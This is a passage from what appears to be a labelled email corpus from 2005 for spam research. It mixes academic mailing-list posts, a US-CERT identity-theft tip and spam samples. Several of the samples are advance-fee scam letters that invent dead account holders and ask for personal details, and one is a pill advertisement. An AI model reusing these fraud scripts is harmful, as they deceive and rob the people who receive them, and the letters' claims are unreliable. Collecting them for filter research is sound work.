to. (2.) Your full Name and Address (3.) Your private phone and fax numbers both home and office for easy communication. {4} Your brief life biography. I look forward to your earliest reply through my private mailbox: hrbolton@myway.com Yours sincerely, Dr.Harry Bolton. ",1,1 Ashlyn Lanham ,douglas@brinza.cc.columbia.edu,"Wed, 14 Dec 2005 04:06:38 -0500","beware, fatigue can kill you","some anvil but career in vulture on style some dominick ",1,0 Joshua ,Sohil ,"Wed, 14 Dec 2005 09:56:53 +0000",hope all is well,"How's it going Sohil, Just wanted to see if you were going to be in town next wk? did the through have people involve a good sense of humor. In this book Twain Think I will be comign through. It would be great if we could catch up. gives in him, his relationships busy imagination free rein, even though it is sometimes filled Miss u, Joshua www.donotdoanythingforitis.org/12/ ",1,0 US-CERT Security Tips ,security-tips@us-cert.gov,"Wed, 14 Dec 2005 16:55:21 -0500",US-CERT Cyber Security Tip ST05-019 -- Preventing and Responding to Identity Theft ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cyber Security Tip ST05-019 Preventing and Responding to Identity Theft Identity theft, or identity fraud, is a crime that can have substantial financial and emotional consequences. Take precautions with personal information; and if you become a victim, act immediately to minimize the damage. Is identity theft just a problem for people who submit information online? You can be a victim of identity theft even if you never use a computer. Malicious people may be able to obtain personal information (such as credit card numbers, phone numbers, account numbers, and addresses) by stealing your wallet, overhearing a phone conversation, rummaging through your trash (a practice known as dumpster diving), or picking up a receipt at a restaurant that has your account number on it. If a thief has enough information, he or she may be able to impersonate you to purchase items, open new accounts, or apply for loans. The internet has made it easier for thieves to obtain personal and financial data. Most companies and other institutions store information about their clients in databases; if a thief can access that database, he or she can obtain information about many people at once rather than focus on one person at a time. The internet has also made it easier for thieves to sell or trade the information, making it more difficult for law enforcement to identify and apprehend the criminals. How are victims of online identity theft chosen? Identity theft is usually a crime of opportunity, so you may be victimized simply because your information is available. Thieves may target customers of certain companies for a variety of reasons: a company database is easily accessible, the demographics of the customers are appealing, there is a market for specific information, etc. If your information is stored in a database that is compromised, you may become a victim of identity theft. Are there ways to avoid being a victim? Unfortunately, there is no way to guarantee that you will not be a victim of online identity theft. However, there are ways to minimize your risk: * Do business with reputable companies - Before providing any personal or financial information, make sure that you are interacting with a reputable, established company. Some attackers may try to trick you by creating malicious web sites that appear to be legitimate, so you should verify the legitimacy before supplying any information (see Avoiding Social Engineering and Phishing Attacks and Understanding Web Site Certificates for more information). * Take advantage of security features - Passwords and other security features add layers of protection if used appropriately (see Choosing and Protecting Passwords and Supplementing Passwords for more information). * Check privacy policies - Take precautions when providing information, and make sure to check published privacy policies to see how a company will use or distribute your information (see Protecting Your Privacy and How Anonymous Are You? for more information). Many companies allow customers to request that their information not be shared with other companies; you should be able to locate the details in your account literature or by contacting the company directly. * Be careful what information you publicize - Attackers may be able to piece together information from a variety of sources. Avoid posting personal data in public forums (see Guidelines for Publishing Information Online for more information). * Use and maintain anti-virus software and a firewall - Protect yourself against viruses and Trojan horses that may steal or modify the data on your own computer and leave you vulnerable by using anti-virus software and a firewall (see Understanding Anti-Virus Software and Understanding Firewalls for more information). Make sure to keep your virus definitions up to date. * Be aware of your account activity - Pay attention to your statements, and request copies of your credit reports from the main credit reporting companies on a yearly basis. How do you know if your identity has been stolen? Companies have different policies for notifying customers when they discover that someone has accessed a customer database. However, you should be aware of changes in your normal account activity. The following are examples of changes that could indicate that someone has accessed your information: * unusual or unexplainable charges on your bills * phone calls or bills for accounts, products, or services that you do not have * failure to receive regular bills or mail * new, strange accounts appearing on your credit report * unexpected denial of your credit card What can you do if you think, or know, that your identity has been stolen? Recovering from identity theft can be a long, stressful, and potentially costly process. Many credit card companies have adopted policies that try to minimize the amount of money you are liable for, but the implications can extend beyond your existing accounts. To minimize the extent of the damage, take action as soon as possible: * Contact companies, including banks, where you have accounts - Inform the companies where you have accounts that someone may be using your identity, and find out if there have been any unauthorized transactions. Close accounts so that future charges are denied. In addition to calling the company, send a letter so there is a record of the problem. * Contact the main credit reporting companies (Equifax, Experian, TransUnion) - Check your credit report to see if there has been unexpected or unauthorized activity. Have a fraud alerts placed on your credit reports to prevent new accounts being opened without verification. * File a report - File a report with the local police so there is an official record of the incident. You can also file a complaint with the Federal Trade Commission. * Consider other information that may be at risk - Depending what information was stolen, you may need to contact other agencies; for example, if a thief has access to your Social Security number, contact the Social Security Administration. You should also contact the Department of Motor Vehicles if your driver's license or car registration have been stolen. The following sites offer additional information and guidance for recovering from identity theft: * Federal Trade Commission - http://www.ftc.gov/bcp/conline/pubs/credit/idtheft.htm and http://www.consumer.gov/idtheft/ * United States Department of Justice - http://www.usdoj.gov/criminal/fraud/idtheft.html * Social Security Administration - http://www.ssa.gov/pubs/idtheft.htm _________________________________________________________________ Author: Mindi McDowell _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use This document can also be found at For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ6CUUX0pj593lg50AQLRzwf/UOFnQcVY0Yf7ZSdKEpOEIZ4Vaz2+NDWv SUphI8pQ6UPjROAFwxDNdB6C16VRDraxpUx7c0fQQzP+Xw7sxHayBUgBhobduawJ UARINllPJD5dtrD/Sv1JhBDMqmc6icItGhkAgJ9igM5JzSSlzEo+9BHHAagytu0P TEYrNaGk/FhQtQpB9rmYLyHbRvoikN+bDs4EPkYgmScVgqPskXDrfyO0W32DoDzj OTxSTitZhTWVXwTftm17jAe9HrnnF8kFFijkDQmJR4SWydJbUplX4MBVN/vmr6Iz JDaDqrJplYNotraqR502RCcaPDE2lMQr7ejUkvaigxY6bySURNTYpw== =IM9D -----END PGP SIGNATURE-----",0,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 15 Dec 2005 13:15:03 -0500","US-CERT Cyber Security Bulletin SB05-348 -- Summary of Security Items from December 8 through December 14, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from December 8 through December 14, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from December 8 through December 14, 2005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ6GyNn0pj593lg50AQI7eQgAvZVvVOOp1pKlF70u0x/FFg+tcfazLWSL kQhQFEw64+ysLah6bSZ/1l9FUcS1QRk420plaqp4MaMflfvgfdH2UYwsKF3bVrU/ zt4SmPTYBRomw0oJoVM0gnn1cF82OaZGhK5WtzcFM0HkyL6gZYhn8+qYq9DA4TBs 2J3uVng6DN1Vd2CoY1Tf9yoU6IEdL5LxWyMOYMr++q5E/0uNUVv2n8TRVykY0gF9 qVyxOgGzi7pbrYFMFFQdsBb+lNNqfitef+4EUjkqH+BK3fec7AJSkJytOUZzj3gP UANNCJNScXBxu4QneGmBnAv0JJthfiSIEjH0OLuG6VnAJ8rM8/L8Sw== =PWIp -----END PGP SIGNATURE-----",0,1 Jeffrey Pomerantz ,SPARC-IR@arl.org,"Thu, 15 Dec 2005 11:03:45 -0500",Call for Student Volunteers for JCDL 2006: Second Call,"JCDL 2006: Opening Information Horizons 11-15 June 2006 Chapel Hill, North Carolina, USA In an effort to encourage promising students involved in digital library research, the Joint Conference on Digital Libraries 2006 is offering a limited number of Student Volunteer Awards to students who are willing to help with conference activities. This is a great opportunity to be a part of the cutting edge in the digital library research from both the ACM and IEEE communities. There are plenty of opportunities to interact with the best and most prominent people in the field! Volunteer awardees will receive complimentary conference registration, including continental breakfasts and breaks, regular conference sessions (excluding tutorial and workshop sessions), the poster and demo session, and the conference banquet. Student volunteers also get a copy of the conference proceedings. Travel and lodging expenses will be the responsibility of the volunteers but assistance in coordinating roommates amongst those selected will be offered. Volunteers will work approximately 20 hours during the course of the conference. Duties will include setting up and cleaning up the facilities, answering questions from conference attendees, monitoring sessions, helping with technology facilities (wireless access, email room, etc.), assisting with registration, and running miscellaneous errands. If you are an undergraduate or graduate student interested in volunteering, please complete the Student Volunteer Award Application Form at www.jcdl2006.org. Applications must be received by March 31, 2006. We will notify the selected students by May 12, 2006. Jeffrey Pomerantz – pomerantz@unc.edu JCDL 2006 Student Volunteer Coordinator Joint Conference on Digital Libraries Joint Conference on Digital Libraries JCDL is a major international forum focusing on digital libraries and associated technical, practical, and social issues. The theme of JCDL 2006, ""Opening Information Horizons,"" encompasses the many meanings of the term ""digital libraries,"" including (but not limited to) new forms of information institutions; operational information systems with all manner of digital content; new means of selecting, collecting, organizing, and distributing digital content; digital preservation and archiving; and theoretical models of information media, including document genres and electronic publishing. Joint Conference on Digital Libraries (JCDL) 2006: Opening Information Horizons Volunteer application deadline: 31 March 2006 Conference Date: 11-15 June 2006 Place: University of North Carolina at Chapel Hill, Chapel Hill, North Carolina 27599, USA Contact: pomerantz@unc.edu Details: www.jcdl2006.org Jeffrey Pomerantz School of Information and Library Science University of North Carolina at Chapel Hill sils.unc.edu/~jpom v: 919-962-8064 f: 919-962-8071 ",0,0 waheed@ece.utexas.edu,cs382m@lists.cc.utexas.edu,"Fri, 16 Dec 2005 12:47:42 -0600",[CS382M:60] Missing Calculator,"Hi, I left my calculator in the exam room. Please let me know if you saw it Thanks, Irfan > I will be holding an additional, final set of office hours on thursday > from 2 to 3:30pm. This is in additional to my normal office hours at the > same time today. > > Kartik > > ",0,0 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Fri, 16 Dec 2005 15:19:27 -0600",[CS382M:61] A book recommendation for architecture fans...,"It was great taking cs382m with all of you. And if you are still reading this list after the final has ended, then you are a true computer architecture fan. I am a huge fan of computer history, and there are many books out there, but in my opinion this is one of the very best: ""The Supermen : The Story of Seymour Cray and the Technical Wizards Behind the Supercomputer"" by Charles Murray http://tinyurl.com/atoth We live in a relatively boring time in computer history. Computers have only increased in speed by a factor of 100 in the past 10 years. Imagine a decade where computers increased in speed by a million times, when people's very lives depended on the speed of computers, and when anything was possible in computer architecture and computer architects reached the status of gods. This book traces Seymore Cray's life throughout the trials and tribulations of each of his companies and projects and is based on actual eye witness accounts from his friends and colleagues. In this book you will truly get a flavor of what it was actually like to work in startup companies and to build computers back in the golden era of the supercomputer. Well, at least I enjoyed it very much. You may too. - Jeff ",0,1 Robin Lynch ,DMDX@psy1.psych.arizona.edu,"Sat, 17 Dec 2005 16:53:08 -0200",Today on Tiscali," -Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! Clisk here: http://0171-1875731.info choosy scylla bottommost blocky eggplant wyandotte earthmoving awesome celsius forbade estop bruise conscionable ember glyceride inorganic humility biometrika convulse clapboard dosimeter hydrothermal cylinder nagoya candlestick asunder boar afforestation certainty quantum tilt clockwatcher hewitt monetary spume acropolis integral material sphere deuterate governess haynes osmotic ellison lack runway arithmetic calligraph chambers rosebush centrifugal obsession calligraphy hive ",1,1 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Sun, 18 Dec 2005 12:15:54 +0800",[DMDX] testmode,"Hi, i have tried to use testmode 8 to test the response latency of a keyboard and a gamepad.I found that the response latency was as high as 4000ms while the RT is just 1000ms. It i strange that the repsonse latency can be larger than the RT. What is the problem? Besides, i try to run DMDX in my home destop. when i syntax check the program, it said ""retrace thread did not self terminate"" and stop. When i run the program, it hang. What is the problem? Thanks, HUI YUI CHI ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 17 Dec 2005 21:40:24 -0700",[DMDX] Re: testmode,"At 12:15 PM 12/18/2005 +0800, you wrote: >Hi, > >i have tried to use testmode 8 to test the response latency of a keyboard >and a gamepad.I found that the response latency was as high as 4000ms >while the RT is just 1000ms. It i strange that the repsonse latency can be >larger than the RT. What is the problem? DMDX will never see any RTs with testmode 8 so you're not likely to be doing what you think you are doing. You've built the hardware described to use those test modes? > >Besides, i try to run DMDX in my home destop. when i syntax check the >program, it said ""retrace thread did not self terminate"" and stop. When i >run the program, it hang. What is the problem? New display drivers are needed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""By necessity, by proclivity, and by delight, we all quote. In fact, it is as difficult to appropriate the thoughts of others as it is to invent. (R. Emerson)"" - Quoted from a fortune cookie program (whose author claims, ""Actually, stealing IS easier."") [to which I reply, ""You think it's easy for me to misconstrue all these misquotations?!?""] ",0,0 AHMED HAMZA ,undisclosed-recipients:;,"Sat, 17 Dec 2005 19:41:49 -0700",Believe And Trust ,"Ahmed Hamza Email: ahmed.hamza@mail.ee Dear Emmons, I am Manager Ahmed Hamza. I am pleased to get across to you for a very urgent and profitable business proposal, this may come to you as a Surprise as we have not met before. But I can trust a Person of your caliber. The intended business is thus, I am the Personal Account Manager to Mr. Joseph Emmons a Foreigner resident here in Nigeria, he was an oil consultant/Contractor with the government parastatals. Mr. Joseph Emmons died from an automobile accident, my client, his wife and their three children were involved in the accident along Lagos/Ibaban Express Road. Unfortunately they all lost their lives in the event of the accident, since then I have made several enquiries to locate any of my clients extended relatives, this has also proved unsuccessful. After these several unsuccessful attempts, I decided to trace his relatives over the Internet, to locate any member of his family but of no avail, hence I contacted you. I have to be sincere and honest with you, I contacted you to assist in repatriating the money and property left behind by my late client before they get confiscated or declared unserviceable by Universal Trust Bank Plc where these huge deposits were lodged. Particularly, the Universal Trust Bank Plc where the deceased had an (fixed) account valued at about (USD 26.5 million dollars). Consequently, The Universal Trust Bank Plc issued me a notice to provide the next of kin or have the account confiscated within the the next 21 official working days. since I have been unsuccessful in locating the relatives for over 3 years now, please I seek your consent to present you as the next of kin of the deceased since you have the same surname, so that the proceeds of this account valued at (USD26.5 million dollars) can be paid to you and then you and I can share the money. (1) 45% for you as the account owner (2) 50% for I (3) 5% will be set aside to defray all incidental expenses both locally and internationally during the cause of this transaction. I know that you may not relate to my late client but I contact you on this transaction based on the fact that you share the same surname with my late client, it will be very easy to convince the bank since I have the necessary documents to backup the claim. I have all necessary legal documents that can be used to back up any claim we may make. All I require is your honest co-operation to enable us seeing this deal through. I guarantee that this will be executed under a legitimate arrangement that will protect you from any breach of the law. As soon as you agree to co-operate with me, I will meet with the officials of our Universal Trust Bank Plc and present your information as the next of kin to my late client together with some relevant documents, they will just go ahead and pay the money into your account and I will come over to your country for the sharing of the fund. Please get in touch with me on my Email: ahmed.hamza@mail.ee, to enable us discuss further. please if you are not ready to transact this business with me, tell me so that I will look for other alternative to get this money from the Bank. Yours faithfully, Ahmed Hamza. ",1,0 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Sun, 18 Dec 2005 12:51:32 -0600",[CS382M:62] Article on Alpha 21464 architecture...,"It's not definitive, but here's a decent article on the 21464....(EV8) Killed just one year before hitting silicon, the 21464 was expected to dominate all other CPUs as soundly as the 21264 (EV6). It featured an 8-way out of order superscalar core with 4-way simultaneous multithreading and was estimated at double the performance of the 2nd generation Itanium... http://www.realworldtech.com/page.cfm?ArticleID=RWT021802145442&p=2 Given that they were so close to tapeout, I'm amazed that no one has invested in resurrecting the 464 and targeting a lower cost market with it... ",0,1 C A Ankerstein ,DMDX mailing list ,"Mon, 19 Dec 2005 10:55:26 +0000",[DMDX] repeated numbers in .spc files,"Hi All, can you have the same line number in two or more different conditions in a .spc file for Analyze? I think I've done it once before, but now I'm getting error messages. Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: c.ankerstein@sheffield.ac.uk webpage: http://www.shef.ac.uk/hcs/staff/ankerstein ",0,1 Andrea Mullen ,auditor_andrea01@yahoo.ca,"Mon, 19 Dec 2005 05:29:12 -0500",Please prove to me that you got my mail.,"1 Claim Street Hillbrow Johannesburg,South Africa. Phone 874-763-591545 fax 874-763-591546 Greetings and Compliments of the day,On 25th of July 2000, Germany lost 96 passengers that were flying to New York to join a Caribbean cruise organized by Deilmann on a Concorde Flight AF4590.Visit the below link for further detail on the disaster which ""shattered and stunned"" Germany.http://news.bbc.co.uk/1/hi/world/europe/851119.stm In view of the above, I wish to introduce myself as,Mr. Andrea Mullen. , B Compt (UNISA), Dip Acc (UDW),CA (SA) / a chartered accountant by profession. I have worked as a Financial Accountant at the Independent Newspapers, with previous work experience as an Internal Auditor at the University of Zululand and Business Advisor at the Small Business Development. I completed my articles with KPMG.I know the acknowledgement of this mail sounds intriguing considering the fact that there wasn't earlier information regarding my mail. Being an auditor, In December 2002 during an audit session with a client bank here in South Africa I discovered an account opened in the Bank in 1998 by Christian Eich, I went through the files of this foreigner customer which gave me a clear picture that his account has been termed dormant according to the banking laws and ethics. The funds in his account cannot exceed six years of dormancy or it would be recalled back to the Government Treasury. I studied his file and understood clearly that he did not declare his next of kin in his deposit application form which indicates that he had no WILL attached to his account. This prompted me to send a routine notification to his forwarding address but got no reply. I further investigated with keen interest to find out that Christian Eich (57) perished with his families (Wife Andrea 38, Son Maxmilian, 10 and Daughter Katharina,8.) on board in Concorde Plane AF4590. It’s really a tragic scene. Having known this, the management now want to use this opportunity to channel the funds for their own personal use. My consolidated investigations showed that they intend to use the funds for the purchase of war arms if no one comes for claims at the end of the last quarter 2005. This is where I stand on my feet and say that, no just like Nelson Mandela who said NO to apartheid. In his autobiography, ""Long Walk to Freedom"" wrote of his release from prison in the following words ""When I was among the crowd I raised my right fist and there was a roar. I had not been able to do that for twenty-seven years and it gave me a surge of strength and joy. We stayed among the crowd for only a few minutes before jumping back into the car for the drive to Cape Town... As I finally walked through those gates to enter a car on the other side, I felt even at the age of seventy-one that my life was beginning anew. My ten thousand days of imprisonment were over."" My friend rather than support war, terrorism etc, Have a look at the Tsunami disaster, they need our assistance to make a new life. The fund in question is huge and I wish not to disclose it at the moment. Furthermore, since the bank is still waiting for anyone with documents to substantiate the claims, I humbly request your co-operation and participation to claim this fund out of my country. This fund can only be approved to a foreigner having in mind that it belongs to a foreigner. I have worked on all modalities with the assistance of my close confidant attorney to make this a success and it all proved positive. In essence, I have every detail on ground to establish you as the authentic beneficiary to the estate. I can procure and notarize all legal back-up documents needed for us to get this fund out of my country. Finally, all I need from you is your trust,co-operation and assistance. When you receive this letter, showing your dedication and honesty to assist in this venture, I will like you to contact me immediately via my private email address: so that we would take the necessary steps immediately and I would provide you with a detailed mail of the business venture. I look forward to your response. Yours Faithfully, Mr Andrea Mullen. --------------------------------- Find your next car at Yahoo! Canada Autos",1,1 BARRISTER CHAMBERS ,ddc45@columbia.edu,"Mon, 19 Dec 2005 03:36:44 -0800",Confidential Please," Dear Sir, Request for Confidential Business Relationship. I am Barrister Beki Opoku Esq. [PROPERTY AND INHENRITANCE LAWYER]. I know you don’t know me well, and I don’t know much about you, but I will be very please if this transaction will make us know each other as we both are going to benefit from helping the Dako Family here in Ghana at the moment, I am a solicitor, for 22yrs old boy Peter Dako, he is the son of late Anthony Dako, a diamond dealer and Farmer in Sierra Leone, who was killed by the Sierra Leonia Government due to Crisis that erupted in their country, before his death he has secretly deposited two consignments with a Security Company here in Accra,Ghana and have let it know to his first Son Peter only, as at the time of deposit. At the moment my client Peter Dako and his only surviving family, which are his mother and sister are here in Ghana, at the Budumburam Refugee Camp. Infact their situation is very bad in the Camp, and they are having $35Million in one of the boxes and the other contains diamonds, but the late father deposited it as family valuable and that was the information he told Peter as at the time of deposit, not until about One year after his death that he found out in a secret diary the true contents and the documents showing the deposit of the consignments in the Security Company. Like he narrated to me, many people have tried to swindle them to get the Consignments out for themselves, but failed. At the end of the day, he was link up to me to help him. That is why I have contacted to you to come to the aid of the survives of the Dako family, to help get the consignment out from the security company. I will instruct you on how to go, for you to get things done, but I must tell you, that consignment is not safe to be opened here in Ghana, so I will want it to transfer out of Africa, so that the Government here in Ghana or any Africa Countries will not seize the funds and the diamonds, due to the rebels in Sierra Leone, they were embargo on Sierra Leone citizens, I want the two consignments to be shipped to you in your country, all necessary arrangements will be made for you to get this consignment safely shipped to you in your country, so that the funds will be invested in a profitable business in your country for the family and get them a better life in your country, I will write you more, but first I want you to know that you will be rewarded with 20% of the entire contents and 5% of the entire cash will be set aside to upset any expenses made to get the consignments released from the Security Company and shipped to your country, or Europe, to where you think the funds an be wisely invested. I am not left out, I have been spending for the family too, so I will be giving 10% of the entire funds excluding the diamonds which I will not get anything from, only cash, but you will be reward with 20% of both the cash of $35Million and the total weight of the Diamonds. I will make sure everything is done under legal grounds without any breach of our local laws and any international laws. If it is necessary for you to come I will let you know ASAP. Please feel free to write me at any time. I hope to hear from you soon, Regard, Barrister Jeff Beki Opoku __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 19 Dec 2005 08:17:34 -0700",[DMDX] Re: repeated numbers in .spc files," The code has a trap for it so I'd say the answer is no: Item number %d for condition %d is already in another condition At 10:55 AM 12/19/2005 +0000, you wrote: >Hi All, > >can you have the same line number in two or more different conditions in a >.spc >file for Analyze? > >I think I've done it once before, but now I'm getting error messages. > > >Thanks, > >Carrie > > >-- >Carrie Ankerstein >Department of Human Communication Sciences >University of Sheffield >31 Claremont Crescent >Sheffield S10 2TA >United Kingdom > >phone: (0) 114 22 22412 >email: c.ankerstein@sheffield.ac.uk > >webpage: http://www.shef.ac.uk/hcs/staff/ankerstein > > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Krogt, n. (chemical symbol: Kr): The metallic silver coating found on fast-food game cards. - Rich Hall, ""Sniglets"" ",0,1 Mark Benthien ,SCEC Community ,"Mon, 19 Dec 2005 11:25:57 -0800",Post-Doc position at Indiana University,"FORWARDED ANNOUNCEMENT: Please reply to kaj@geology.indiana.edu *********** POST-DOCTORAL EMPLOYMENT OPPORTUNITY ************ Please pass on the attached announcement to any colleagues or students who may be interested. Thanks very much for your assistance. Kaj Johnson Indiana University ************ POST-DOCTORAL EMPLOYMENT OPPORTUNITY ************ Postdoctoral Associate in Geodynamics/Lithosphere Deformation/Active Tectonics. Indiana University Department of Geological Sciences announces a one- year post-doctoral position beginning Spring through Fall, 2006. We are seeking a capable research scientist with interests in any of the broadly defined areas of crustal deformation, fault mechanics, lithosphere dynamics, volcano deformation, or active tectonics. The scientist may take part in a project investigating lithosphere rheology and fault slip rates in southern California, or another project better suited for the scientist’s skills and interests. Requirements include a Ph.D. degree in geophysics or geology. Preference will be given to candidates with strong computational skills or experience with GPS or InSAR data processing or modeling of crustal deformation. The appointment is for one year, with reappointment subject to available funding. Applicants should forward a curriculum vitae, statement of research interests, and name and email addresses of three references to kaj@geology.indiana.edu. The position will remain open until filled. Indiana University is an equal opportunity/affirmative action employer. ***********************************************************************",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Mon, 19 Dec 2005 15:54:03 -0500",FELLOWSHIPS: Human Rights @ Columbia,"2006 THIRD MILLENNIUM FOUNDATION HUMAN RIGHTS FELLOWSHIPS AT COLUMBIA UNIVERSITY Third Millennium Foundation Human Rights Fellowships enable three graduating Columbia University students to spend one year working in human rights. The year is divided between an internship in a developed country and one in the developing world according to the terms and conditions that follow. Applications for the 2006 Program are due by Friday, February 10, 2006. Purpose and Terms of Awards The Columbia TMF Human Rights Fellowship is designed to enable graduating Columbia University students (both degree and certificate programs) who are interested in pursuing a career in human rights to gain practical work experience through internships with human rights non-governmental organizations. Through these practical training internships, the Program aims to provide the Fellows the skills necessary to start or advance a career in the field of human rights, whether in academic life, in governmental, intergovernmental or nongovernmental organizations or agencies, or as legal practitioners specializing in human rights work. As it offers the opportunities for Fellows to work in both developing and industrialized countries the Program is intended to facilitate the exchange of ideas and experiences. Each year, three fellowships will be awarded to graduating students who are completing degree and/or training programs in human rights at Columbia University, including, but not limited to, Barnard College, Columbia College, School of General Studies, Graduate School of Arts and Sciences, Journalism School, Law School, School of International and Public Affairs, School of Public Health, School of Social Work, the Advocates Program of the Center for the Study of Human Rights, among others. The fellowship, one-year in length, will typically consist of two 6-month internship segments. Each Fellow will conduct one internship in a developing country and the other in an industrialized nation or the Fellow's home country. We will also consider applications that combine two country experiences in other sequences. The Program aims to better equip the fellows with the necessary skills, knowledge, insights and networks to further the advancement of human rights. Each fellowship will carry a stipend of $27,000 a year which would cover all expenses. The one-year fellowship may begin anytime between June 1 and October 31. Qualifying Placements The host organizations must be engaged in human rights advocacy. Applicants should seek the advice of faculty or staff at a human rights program in order to identify appropriate host organizations for each of the internship assignments. In most cases, these organizations or agencies will be involved in human rights education, monitoring, reporting, litigation, grassroots mobilization, or other forms of advocacy. They may be involved in human rights work in general or in specific areas of the human rights movement such as women's rights, children's rights, labor rights, refugees, humanitarian law, and transitional justice, health care and so on. Most qualifying organizations would identify themselves as part of the broader, universal human rights movement, relying on the norms declared in United Nations and regional treaties and declarations. However, qualifying placements may also include groups embracing new and interdisciplinary directions in the human rights movement, such as those following in substantial part a rights-based approach to work in economic development, humanitarian relief, media, health or environmental activism. In special circumstances, the Selection Committee may accept a proposal for work within a governmental or intergovernmental human rights organization. Fellows will be expected to participate in training activities for their internships. Preparation will be designed by the fellow and their advisor on an individual basis. Throughout each internship, both supervisors in the host organization and the Fellows will be required to prepare reports evaluating the Fellows' experiences. Fellows are expected to participate in an annual public TMF colloquium where old and new Fellows can network and share experiences. Qualifying Locations Industrialized countries are defined as Western Europe, Scandinavia, the United States, Canada, Japan, Australia and New Zealand. Application Procedure Completed Applications should be submitted to the Center for the Study of Human Rights no later than 5:00pm on Friday, February 10, 2006. Decisions will be made by Friday, April 14th, 2006. The application should consist of: 1. Completed Application Form. Application can be downloaded from: http://www.columbia.edu/cu/humanrights/downloads/2006_TMF_Fellowship_Announc ement.pdf 2. Curriculum vitae, including relevant coursework in human rights; work and extracurricular activities in public interest and human rights. 3. A personal statement (1,000 words maximum) about the applicant's relevant experience, interest, and future aspirations with respect to public interest and human rights work. The statement should include a discussion of the place of the fellowship in the applicant's career plans. 4. A project description including: a. a description of up to two possible host organizations or agencies and their work in the local and international context; b. a discussion of the applicant's project interests and its relation to the work of their possible placements; and c. an estimated budget (to demonstrate feasibility). 5. One letter of recommendation plus two references, including at least one from a Columbia University professor. 6. Official Columbia University transcript. Candidates should send completed applications to: 2006 TMF HR Fellowship Center for the Study of Human Rights 1108 IAB, Mailcode 3365 Columbia University New York, NY 10027 For questions, please contact cshr@columbia.edu or 212-854-2479. ",0,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Mon, 19 Dec 2005 15:58:01 -0500",COURSE CHANGE: Time of Victorian Literature,"Please note the change in time for the following course (it was correctly posted at the Directory of Classes but wasn't updated at the department's website till today): ENGL W4405y Victorian Literature: Major Victorian Poets and Critics (John Rosenberg) TR 2:40-3:55. Lecture. Close readings of the major works of the more important poets, social and aesthetic critics, prophets and autobiographers of the period. Our focus will be upon the particularities of language in the works before us, but we will also examine historical contexts and recent criticism. Authors: Carlyle, Mill, Newman, Ruskin, Arnold and Pater; Tennyson, Browning, and Hopkins. ",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Mon, 19 Dec 2005 23:50:52 -0600",[CS382M:63] Final grades/projects,"CS382m-ers, Kartik and I have finished the grading of the projects and the finals. I have also posted the final grades electronically - you should be able access them via your UT access. On or after Wednesday Dec. 21, you may come to my assistant Gem Naivar's office (ACES 3.422) to look at your final and the solution. I need to keep both of these so you can examine them in the conference area outside my office, but you can't leave with them. I have read all of the project reports, and in general they were pretty good. Kartik also read all of the analytical reports and has provided comments from both of us that will be attached to your report. My comments are attached to the empirical reports. I very much enjoyed having all of you in class this semester - it was a lively class with lots of great questions and discussions. I hope you all feel like you learned a lot - I'm pretty sure you did. Best wishes, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 ssp2123@columbia.edu,romanianclub@columbia.edu,"Tue, 20 Dec 2005 06:24:17 -0500",Anyone looking for a roommate?,"HEllo, I am an incoming phd student from Bulgaria. I am looking for off-campus housing in mid/upper Manhattan from January through June. If anyone's interested in the same and would like to room up with me, please email me ! (sonyaji@gmail.com) Any suggestions about housing will be greatly appreciated! Thanks, Sonya ",0,0 Sonya Petkova ,romanianclub@columbia.edu,"Tue, 20 Dec 2005 13:28:24 +0200",housing,"Hi, I am an incoming student at Columbia and would like to post a message on your board. I am not sure how this works, but can you post it for me or let me know how to do it? Thanks! Hello, I am an incoming phd student from Bulgaria. I am looking for off-campus housing in mid/upper Manhattan from January through June. If anyone's interested in the same and would like to room up with me, please email me ! (sonyaji@gmail.com) Any suggestions about housing will be greatly appreciated! Thanks, Sonya ",0,0 Adam ,arl-announce@arl.org,"Tue, 20 Dec 2005 13:12:24 +0600",��Ʊ׶�/���˸���/����������� �Ѳ����� ����������.,"PGh0bWw+DQo8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJvcmRlcj0wPg0K PFRSPg0KPFREPjxhIGhyZWY9aHR0cDovL2NkYnV5Lm5lMS5uZXQgdGFyZ2V0PV9ibGFuaz48 